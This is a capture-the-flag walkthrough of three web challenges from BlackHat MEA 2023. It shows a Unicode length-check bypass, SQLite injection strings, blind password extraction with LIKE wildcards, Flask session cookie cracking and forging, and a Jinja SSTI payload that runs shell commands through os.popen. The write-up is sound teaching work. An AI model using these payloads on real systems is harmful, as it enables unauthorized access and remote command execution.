BlackHat MEA Qualification CTF 2023 — Web Challenges Walkthrough Writep
Hello There, Today i will share with you my writep for the web challenges for BlackHat MEA Qualification CTF 2023.

Authy

In this challenge the source code was provided as a protected ZIP file. After you extract it with “flagyard” password… you will be able to see the code.
After reading it, i found the “LoginController.go” can give you the flag if you logged in with a password length less than 6 chars.

The problem here is that when you try to create an account with a new username and password, the password must be “6 chars or more”.
Here i tried to think about bycrypt function that hashes the password as the cost value was not something high like 10 or so, and in the challenge it was set to “5”.
A cost is a measure of how many times to run the hash. Increasing this number the algorithm will spend more time to generate the hash output.
So maybe a flaw in the encryption or something but no, Then i tried to encode the password, added some loggers in the code and then started the server with:
go run server.go

Yet still reading it as 5 chars in both registration and login, Also URL encoding didn’t work :(
Then i tried to think about the “password := []rune(user.Password)” and after some searching about what is rune in go? what is the differences & relationships between string and []rune? i got:
For
string
, bothlen()
and index are based on bytes.For
[]rune
, bothlen()
and index are based on rune (or int32).
So the way how the password is stored in each of them is different, i thought about the “Non-UTF-8 characters”

When i used characters like these it counted differently in the login and the registration, remember []rune?
So at first with \u1300
it counted as 7 and in login it counted as 5 length:

Testing this on the server to get the flag:

Warm Me Up

Visiting the challenge link was giving me a “login page” link:

After intercepting the login POST request and 1) Trying a default credentials. 2) Adding the parameters as an array to get some debugging info. Both didn’t work:

Then after adding special chars to check the inputs validations i got “500 Error”. So i wanted to confirm if i have a valid SQL injection by trying these payloads…
These ones caused an error:
username' -
username' and version() --
and these returned “200 OK”:
username' --
username' or 1=1 --
username' and sqlite_version() --

Yeah… a SQLite database is confirmed, but it was wired that username' or 1=1
is a Login failed.
Here i also tried some “UNION payloads” but still nothing new… after looking around i found a “session token” in the cookies at the home page:

After base64 decode, i got:
{"otp":"LHJPTKO3V8F78E0D"}
Payload:
username=username' UNION SELECT 1,1 --&password=password&otp=LHJPTKO3V8F78E0D

“UNION SELECT 1,1 — — “ could be “UNION SELECT NULL,NULL — — “ as these two represents the columns fields in the table AKA username and password… and since the otp is not in the table that’s why “or 1=1” didn’t work at first.

Hardy

So after visiting the challenge link and using user and password to log in…
I got redirected to “/panel” with a message of “Welcome user!”, “Attempting to hack: <MY_IP>…” and an <iframe> of google maps.
here i couldn’t think in a solution out of 2:
- Crack the session token and change the value to admin or get a SQL/RCE injection… etc.
- Inject the IP from the request headers to get an RCE or add my <web_hook> to listen as if there is anything being sent to this host.
After adding “X-Forwarded-For: 127.0.0.1" it reflected in the response:

I’m not going to describe how much i spent for trying to inject this header! it was a rabbit hole.
After decoding the token header:
echo "eyJ0eXBlIjoidXNlciJ9" | base64 -d
{"type":"user"}
So i downloaded Flask-Unsign
tool and tried to crack the token with it since the token is not a valid JSON and there is no algorithm in the header like "alg":"HS256"
for example… so this was the closest thing for me to use.
python3 Flask-Unsign/flask_unsign/__main__.py --unsign --cookie "eyJ0eXBlIjoidXNlciJ9.ZSLLlA.W87AZwfsvvXjaA5ukOVcuCRvrpA" -w jwt.secrets.list --no-literal-eval
After so many tries and huge common wordlists and brute forcing i got nothing :(
I even tried the key for “google maps” as a secret for the token.
By going back to the “login form” and adding some special characters and removing/adding parameters i got something!

Removing password parameter causing an error and adding another parameter in the beginning also causing an error…
example:
x=x&username=user&password=password
But adding the “x=x” at the end is returning a normal behavior as if it does not exist!
So my guess was the first two “parameters names” is being selected as a columns names in the table.
And after so many tries... the following payload worked!
username=user&password LIKE '%password%' and '1'=1

Let’s understand this:
The server considered the password LIKE %password% and '1'
as a “column name” and then will add 1
as a value to this column because it should be the value of the parameter after =
char, right?
I couldn’t understand at first why '1'
instead of 1
didn’t work as '1'='1'
should be true! but maybe it got treated as a string anyway! so no need to add the quotes.
After setting username=admin
and removing the password value:
username=admin&password LIKE '%%' and '1'=1
No flag nothing yet, still user :(
So after using the following payload to guess the length of the admin password then getting the password chars one by one:
username=admin&password LIKE '%_______________________%' and '1'=1


The
'_'
and'%'
are wildcards in aLIKE
operated statement in SQL.The
_
character looks for a presence of (any) one single character. If you search bycolumnName LIKE '_abc'
, it will give you result with rows having'aabc'
,'xabc'
,'1abc'
,'#abc'
.
After changing one by one manually, i got the password and it was in plain text!

The password was: ILIKEpotatoesSOMUCH::&&
Then i tried to use this password as a secret and it worked too!

After changing the value to admin instead of user i got “Welcome admin!” nothing else… so i tried SSTI vulnerability as i wanted to get and RCE in the first place, and the {{<code>}} worked!
SSTI: A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Verifying this with “config”, so the payload is:
python3 Flask-Unsign/flask_unsign/__main__.py --sign --cookie "{'type':'{{config}}'}" --secret "ILIKEpotatoesSOMUCH::&&"

Then i got a payload from HackTricks site to import python OS module:
config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()
after listing the /
dir, i found the flag:
config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("cat /flag_086bf2851588e4e353fecee934635e09.txt").read()
